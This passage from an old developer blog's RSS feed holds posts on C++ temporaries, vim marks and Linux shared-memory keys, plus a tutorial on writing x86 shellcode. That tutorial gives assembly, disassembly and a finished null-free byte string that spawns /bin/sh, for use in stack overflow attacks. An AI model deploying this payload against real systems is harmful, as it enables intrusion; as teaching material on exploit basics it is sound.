&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=L3SteEsMoiQ:P5MSc57nN40:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=L3SteEsMoiQ:P5MSc57nN40:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=L3SteEsMoiQ:P5MSc57nN40:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=L3SteEsMoiQ:P5MSc57nN40:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=L3SteEsMoiQ:P5MSc57nN40:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=L3SteEsMoiQ:P5MSc57nN40:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=L3SteEsMoiQ:P5MSc57nN40:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=L3SteEsMoiQ:P5MSc57nN40:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=L3SteEsMoiQ:P5MSc57nN40:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/L3SteEsMoiQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/L3SteEsMoiQ/linux-semopen-across-processes.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/03/linux-semopen-across-processes.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-8239274793518360825</guid><pubDate>Tue, 03 Mar 2009 09:51:00 +0000</pubDate><atom:updated>2009-03-03T11:51:01.008+02:00</atom:updated><title>c++: lifetime of temporaries</title><description>In c++ you can encounter few types of temporary objects.&lt;br /&gt;
&lt;br /&gt;
Implicitly temporary object is created by compiler when complex expression is being evaluated:&lt;pre&gt;5 + a/4;&lt;/pre&gt;Here the result of expression of &lt;b&gt;(a/4)&lt;/b&gt; has to be stored somewhere for further calculations.&lt;br /&gt;
&lt;br /&gt;
An anonymous temporary object could be created by programmer when no name is given to an object. Such expression as&lt;pre&gt;4;&lt;/pre&gt;is an anonymous temporary object of type int.&lt;br /&gt;
When function is intend to return some value it would be also stored into the temporary object.&lt;br /&gt;
&lt;br /&gt;
Of course smart compilers will make some optimizations here to avoid the creation of temporary objects.&lt;br /&gt;
The expression&lt;pre&gt;int b = 5 + a/4&lt;/pre&gt;could be optimized as storing the result of &lt;b&gt;a/4&lt;/b&gt; to &lt;b&gt;b&lt;/b&gt; then adding &lt;b&gt;5&lt;/b&gt; to &lt;b&gt;b&lt;/b&gt;.&lt;br /&gt;
The unused return value of the function won't be stored anywhere, moreover compiler may force function not to perform any 'return' actions.&lt;br /&gt;
&lt;br /&gt;
The lifetime of temporary object is ended at the last step in evaluating the full-expression(or block of code) that contains the point where they were created. The temporary object of &lt;b&gt;a/4&lt;/b&gt; in expression &lt;b&gt;5 + a/4;&lt;/b&gt; is being destroyed just after the semicolon.&lt;br /&gt;
&lt;br /&gt;
There is an exception in the standard when you can extend the lifetime of temporary object to the lifetime of const reference that is binded to it:&lt;pre&gt;string get()
{
    return "string";
}
const string &amp;obj = get();&lt;/pre&gt;The lifetime of &lt;b&gt;string&lt;/b&gt; object created by function &lt;b&gt;get&lt;/b&gt; on return is extended to the lifetime of const reference &lt;b&gt;obj&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
The temporaries are r-value objects, which means that you can't change their values. So the usage of const reference is mandatory. In pre-standard it's was allowed to use non-const references for temporaries but in ISO-C++ it's a compilation error. Changing value of const object could lead to unexpected results.&lt;br /&gt;
&lt;br /&gt;
Using const references to catch the return value of the function could be used as an optimization of avoiding creating temporary object on function return. Consider this code:&lt;pre&gt;string get()
{
    return "string";
}
string obj = get();&lt;/pre&gt;The temporary is created and its value is stored into the &lt;b&gt;string&lt;/b&gt; object &lt;b&gt;obj&lt;/b&gt;. Binding the return value to const reference could optimize memory usage and avoid extra calls to constructor and destructor in case if you are interested in the result of the function.&lt;br /&gt;
&lt;br /&gt;
However modern compilers use RVO(Return Value Optimization) or NRVO(Named RVO) to avoid creation of temporary objects so in most cases you don't have to care about such optimizations.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-8239274793518360825?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=hURKj9zg4tI:ZSQ4QODruVQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=hURKj9zg4tI:ZSQ4QODruVQ:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=hURKj9zg4tI:ZSQ4QODruVQ:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=hURKj9zg4tI:ZSQ4QODruVQ:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=hURKj9zg4tI:ZSQ4QODruVQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=hURKj9zg4tI:ZSQ4QODruVQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=hURKj9zg4tI:ZSQ4QODruVQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=hURKj9zg4tI:ZSQ4QODruVQ:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=hURKj9zg4tI:ZSQ4QODruVQ:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/hURKj9zg4tI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/hURKj9zg4tI/c-lifetime-of-temporaries.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>2</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/03/c-lifetime-of-temporaries.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-945660437286337996</guid><pubDate>Thu, 26 Feb 2009 05:56:00 +0000</pubDate><atom:updated>2009-02-26T07:56:00.586+02:00</atom:updated><title>asm: writing shellcode/getting rid of data section and nulls</title><description>Most probably you want your shellcode to execute "/bin/sh" on target box. Here you have to deal somehow with string, which in normal programs is stored in data section.&lt;br /&gt;
&lt;br /&gt;
The problem you may face when you are writing a shellcode is that you can't just use data section in your shellode - your shellcode and target application use different data sections.&lt;br /&gt;
&lt;br /&gt;
First of all I've tried to use &lt;b&gt;call&lt;/b&gt; instruction. When processor executes &lt;b&gt;call&lt;/b&gt; it automatically puts address of the next instruction into &lt;b&gt;esp&lt;/b&gt; register. We can use this "feature" keeping in mind that &lt;b&gt;call&lt;/b&gt; works with addresses, that means that we can use address of instruction rather than function's.&lt;br /&gt;
Let's look at the code below&lt;pre&gt;1 
 2 .global main
 3 
 4 main:
 5     jmp     two
 6 one:
 7     movl    (%esp), %ebx
 8     xor     %eax, %eax 
 9     
10     pushl   %eax
11     pushl   %ebx
12     movl    %esp, %ecx
13     
14     xorl    %edx, %edx
15     
16     movl    $11, %eax 
17     int     $0x80
18 two:
19     call    one
20     .string "/bin/sh"&lt;/pre&gt;Just in the beginning processor jumps to label &lt;b&gt;two&lt;/b&gt;. Then it executes call: puts address of the next instruction and jumps to label &lt;b&gt;one&lt;/b&gt;. Here is the most interesting part. The address of the "next instruction" after the "call one" is our string.&lt;br /&gt;
So when we are already in label &lt;b&gt;one&lt;/b&gt; we have address of the string "/bin/sh" in &lt;b&gt;esp&lt;/b&gt;.&lt;br /&gt;
Then the code prepares registers for system call &lt;b&gt;execve&lt;/b&gt;. Number of syscall execve(11) to &lt;b&gt;eax&lt;/b&gt;, path to executable to &lt;b&gt;ebx&lt;/b&gt;, argv array to &lt;b&gt;ecx&lt;/b&gt; and envp array to &lt;b&gt;edx&lt;/b&gt;. argv array I simulated with pushing values to stack and putting address of the top of the stack to &lt;b&gt;ebx&lt;/b&gt;, I don't push any environment variables, so %edx is null.&lt;br /&gt;
&lt;br /&gt;
This code is valid and will execute /bin/sh if you compile it and execute.&lt;pre&gt;(~~) gcc test.s -o test 
(~~) ./test 
sh-3.2#
&lt;/pre&gt;The problem here is that it contains nulls:&lt;pre&gt;080483b4 &amp;lt;main&amp;gt;:
 80483b4: eb 12                 jmp    80483c8 &amp;lt;two&amp;gt;

080483b6 &amp;lt;one&amp;gt;:
 80483b6: 8b 1c 24              mov    (%esp),%ebx
 80483b9: 31 c0                 xor    %eax,%eax
 80483bb: 50                    push   %eax
 80483bc: 53                    push   %ebx
 80483bd: 89 e1                 mov    %esp,%ecx
 80483bf: 31 d2                 xor    %edx,%edx
 80483c1: b8 0b 00 00 00        mov    $0xb,%eax
 80483c6: cd 80                 int    $0x80

080483c8 &amp;lt;two&amp;gt;:
 80483c8: e8 e9 ff ff ff        call   80483b6 &amp;lt;one&amp;gt;
 80483cd: 2f                    das    
 80483ce: 62 69 6e              bound  %ebp,0x6e(%ecx)
 80483d1: 2f                    das    
 80483d2: 73 68                 jae    804843c &amp;lt;__libc_csu_init+0x4c&amp;gt;
 80483d4: 00 90 90 90 90 90     add    %dl,-0x6f6f6f70(%eax)
 80483da: 90                    nop    
 80483db: 90                    nop    
 80483dc: 90                    nop    
 80483dd: 90                    nop    
 80483de: 90                    nop    
 80483df: 90                    nop    &lt;/pre&gt;Almost all stack overflow attacks uses libc string function to overwrite execution point of function or return point with the chellcode. If shellcode contains null characters it could not be read to the end and the attack will fail. &lt;br /&gt;
The "main" null is in our string "/bin/sh". &lt;b&gt;execve&lt;/b&gt; doesn't work with not a null-ending strings. I tried to make the string like "/bin/shx" and define it as ascii:&lt;pre&gt;.ascii  "/bin/shx"&lt;/pre&gt;and later in runtime override the last character with null but all the time I got segmentation violation alert. I suppose that this is because I was trying to modify read-only section. This became a dead-end for me.&lt;br /&gt;
I decided to try another way of defining the string. String after all is an array of bytes. So we can just put these bytes somewhere else is some other representation.&lt;br /&gt;
Let's look at the string "/bin/sh" from the other side.&lt;pre&gt;(~~) echo -n "/bin/sh" | hexdump 
0000000 622f 6e69 732f 0068&lt;/pre&gt;Aligned to 4 it still contain null, but this is not a problem, we can divide it into 2-bytes chunks:&lt;pre&gt;622f,6e69,732f,68&lt;/pre&gt;And now we can use word-long instructions. Let's look at the updated code of our shell program.&lt;pre&gt;1 
 2 .global main
 3 
 4 main:
 5     xor     %eax, %eax
 6     
 7     pushl   %eax
 8     pushw   $0x68
 9     pushw   $0x732f
10     pushw   $0x6e69
11     pushw   $0x622f
12     
13     movl    %esp, %ebx
14     
15     pushl   %eax
16     pushl   %ebx
17     movl    %esp, %ecx
18     
19     xorl    %edx, %edx
20     
21     movl    $11, %eax
22     int     $0x80&lt;/pre&gt;I've pushed word-long chunks of the string onto the stack(at first I've pushed zeroed &lt;b&gt;eax&lt;/b&gt; to indicate end of string) and put moved address of the head of the stack to &lt;b&gt;ebx&lt;/b&gt;. That's almost all. If you still try to compile this code you'd probably find out some zeros. That's because of the &lt;b&gt;movl $11, %eax&lt;/b&gt; instruction. 11 could be hold in one byte-long memory node but movl will align memory to 4 bytes with zeros. So just changing from movl to movb will remove this last zero. The latest code should be like&lt;pre&gt;1 
 2 .global main
 3 
 4 main:
 5     xor     %eax, %eax
 6     
 7     pushl   %eax
 8     pushw   $0x68
 9     pushw   $0x732f
10     pushw   $0x6e69
11     pushw   $0x622f
12     
13     movl    %esp, %ebx
14     
15     pushl   %eax
16     pushl   %ebx
17     movl    %esp, %ecx
18     
19     xorl    %edx, %edx
20     
21     movb    $11, %al
22     int     $0x80&lt;/pre&gt;Compiling it and obtaining the machine codes I can see there is no zeros there:&lt;pre&gt;080483b4 &amp;lt;main&amp;gt;
 80483b4: 31 c0                 xor    %eax,%eax
 80483b6: 50                    push   %eax
 80483b7: 66 6a 68              pushw  $0x68
 80483ba: 66 68 2f 73           pushw  $0x732f
 80483be: 66 68 69 6e           pushw  $0x6e69
 80483c2: 66 68 2f 62           pushw  $0x622f
 80483c6: 89 e3                 mov    %esp,%ebx
 80483c8: 50                    push   %eax
 80483c9: 53                    push   %ebx
 80483ca: 89 e1                 mov    %esp,%ecx
 80483cc: 31 d2                 xor    %edx,%edx
 80483ce: b0 0b                 mov    $0xb,%al
 80483d0: cd 80                 int    $0x80&lt;/pre&gt;The shellcode string will look like&lt;pre&gt;"\x31\xc0\x50\x66\x6a\x68\x66\x68\x2f\x73\x66\x68\x69\x6e\x66"
"\x68\x2f\x62\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-945660437286337996?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=97mO4jOU_VU:EHJdYBJSiyE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=97mO4jOU_VU:EHJdYBJSiyE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=97mO4jOU_VU:EHJdYBJSiyE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=97mO4jOU_VU:EHJdYBJSiyE:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=97mO4jOU_VU:EHJdYBJSiyE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=97mO4jOU_VU:EHJdYBJSiyE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=97mO4jOU_VU:EHJdYBJSiyE:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=97mO4jOU_VU:EHJdYBJSiyE:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=97mO4jOU_VU:EHJdYBJSiyE:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/97mO4jOU_VU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/97mO4jOU_VU/asm-writing-shellcodegetting-rid-of.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>2</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/02/asm-writing-shellcodegetting-rid-of.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-2379760241085520639</guid><pubDate>Mon, 23 Feb 2009 16:25:00 +0000</pubDate><atom:updated>2009-02-25T23:18:28.304+02:00</atom:updated><title>vim: navigation with marks</title><description>Each time I touch different systems I realise that ViM is really powerful editor.&lt;br /&gt;
&lt;br /&gt;
Browsing long source files you likely will jump between different pieces of code inside the file.&lt;br /&gt;
Of course you can keep in mind the line numbers but if you insert lines the block below will be shifted and so on.&lt;br /&gt;
&lt;br /&gt;
Better way to use marks. Marks is a simple mechanism to navigate through the file.&lt;br /&gt;
&lt;br /&gt;
Here is the list of commands to use marks in ViM:&lt;pre&gt;mx tells Vim to add a mark called x, x could be in range of [a-zA-Z]
`x tells Vim to return to the line and column for mark x
'x tells Vim to return to the beginning of the line where mark x is set
g`x tells Vim to return to the line and column for mark x but don't change the jumplist
g'x tells Vim to return to the beginning of the line where mark x is set  but don't change the jumplist
`. moves the cursor to the line and column where the last edit was made
'. moves the cursor to the line where the last edit was made
'" moves the cursor to the last position of the cursor when you exited the previous session
'' moves the cursor to the line before the latest jump
`` moves the cursor to the line and column before the latest jump
:marks shows all marks set
:jumps shows the jumplist
Ctrl-o moves the cursor to the last jump
Ctrl-i moves the cursor to the previous jump&lt;/pre&gt;&lt;br /&gt;
Marks with lowercase names are valid within one file, marks with uppercase names are valid between files.&lt;br /&gt;
&lt;br /&gt;
Lowercase marks are remembered as long as the file remains in the&lt;br /&gt;
buffer list.&lt;br /&gt;
Uppercase marks include the file name. It's possible to use them to jump from file to file.&lt;br /&gt;
&lt;br /&gt;
Worth to mention that the line number of the mark remains correct, even if you insert/delete lines or edit another file for a moment.&lt;br /&gt;
&lt;br /&gt;
Marks could be used with common ViM operations: d, y, etc.&lt;br /&gt;
For example &lt;b&gt;y'x&lt;/b&gt; tells ViM to copy text between current position and mark &lt;b&gt;x&lt;/b&gt; into the buffer.&lt;br /&gt;
&lt;br /&gt;
Special marks ' and ` could be used as lowercase marks - you can set their position.&lt;br /&gt;
&lt;br /&gt;
There are a lot of other special marks, which description you can find in &lt;a href="http://http://vimdoc.sourceforge.net/htmldoc/motion.html#mark"&gt;ViM manual&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-2379760241085520639?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=KZOGM4DA"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=sCmJGQYS"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=sCmJGQYS" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=FXuBiDmu"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=iVfk05Yd"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=iVfk05Yd" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=88bg9L4Q"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=KezZgWZr"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=42" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=rtvIWA0q"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=45" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/m144gbmtKb0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/m144gbmtKb0/vim-navigation-with-marks.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/02/vim-navigation-with-marks.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-4009987048943871005</guid><pubDate>Tue, 10 Feb 2009 07:14:00 +0000</pubDate><atom:updated>2009-02-10T09:14:01.030+02:00</atom:updated><title>linux: key for sem_open/shm_open</title><description>&lt;b&gt;sem_open&lt;/b&gt; and &lt;b&gt;shm_open&lt;/b&gt; are used to associate key with system semaphore and shared memory object accordingly.&lt;br /&gt;
I used them without any problems with a key randomly generated until I started to fail to receive valid object descriptors with ENOENT("No such file or directory").&lt;br /&gt;
According to man pages ENOENT could happen if there was an attempt to open an object with a name that did not exist, and O_CREAT was not specified.&lt;br /&gt;
I wondered why that could happen because I used O_CREAT and if even object didn't exist with given name it should be created.&lt;br /&gt;
I remember that in linux named semaphores and shared data objects are being created in a virtual filesystem usually mounted under /dev/shm. &lt;br /&gt;
I started to analyze the key I used to generate.&lt;br /&gt;
The problem was that in the name I've generated could appear slash characters and characters not conforming to filesystem valid file name. That caused failure of creating inode on the filesystem and &lt;b&gt;sem_open&lt;/b&gt; and &lt;b&gt;shm_open&lt;/b&gt; failed also.&lt;br /&gt;
&lt;br /&gt;
To summarize the key for &lt;b&gt;sem_open&lt;/b&gt; and &lt;b&gt;shm_open&lt;/b&gt; should have leading slash and contain no other slashes or non-valid characters of file name on filesystem. This is of course implementation-defined but for portability this rule should be used to generate the key.&lt;br /&gt;
&lt;br /&gt;
Some notes for FreeBSD.&lt;br /&gt;
&lt;b&gt;sem_open&lt;/b&gt; is known to be &lt;a href="http://www.freebsd.org/cgi/man.cgi?query=sem_open&amp;manpath=FreeBSD+7.0-RELEASE"&gt;buggy&lt;/a&gt; in FreeBSD. The name of semaphore shouldn't be longer than 13 characters.&lt;br /&gt;
&lt;b&gt;shm_open&lt;/b&gt; behaves differently in FreeBSD than in Linux. path argument should be valid pathname within filesystem. shm_open is a wrapper over &lt;b&gt;open&lt;/b&gt; libc call. So the best solution to generate path with &lt;a href="http://www.freebsd.org/cgi/man.cgi?query=tmpnam&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+7.0-RELEASE&amp;format=html"&gt;tmpnam&lt;/a&gt; from libc to make it unique or to prefix with '/tmp/' for other cases to ensure that this file won't be lost somewhere in the filesystem. &lt;a href="http://www.freebsd.org/cgi/man.cgi?query=shm_open&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+7.0-RELEASE&amp;format=html"&gt;shm_unlink&lt;/a&gt; should remove it but in case of application crush it could not happen.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-4009987048943871005?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=rrtFbAHk"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=EPiFEErp"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=EPiFEErp" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=hZzULQDA"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=wWmXzkT0"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=wWmXzkT0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=c7AI5t0z"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=xrapon0d"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=42" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=7JANUDXJ"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=45" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/SkOK--WHMqU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/SkOK--WHMqU/linux-key-for-semopenshmopen.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/02/linux-key-for-semopenshmopen.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-8794309449876870617</guid><pubDate>Thu, 05 Feb 2009 19:44:00 +0000</pubDate><atom:updated>2009-02-05T21:49:47.966+02:00</atom:updated><title>blog: prettify</title><description>I've used &lt;a href="http://code.google.com/p/jqueryjs/"&gt;jquery&lt;/a&gt; and &lt;a href="http://code.google.com/p/google-code-prettify/"&gt;Javascript code prettifier&lt;/a&gt; to make the code snippets look more readable.&lt;br /&gt;
I'm too lazy and made the things automatic. So some pieces of posts(especially of the programs' output) don't look good. In the future I'll try to fix this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-8794309449876870617?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=HFvEH2XI"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=HmEn4P6I"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=HmEn4P6I" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=4rzpY1nn"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=35TolNGg"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=35TolNGg" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=xFq6ZvyZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=WOsG7ks6"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=42" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
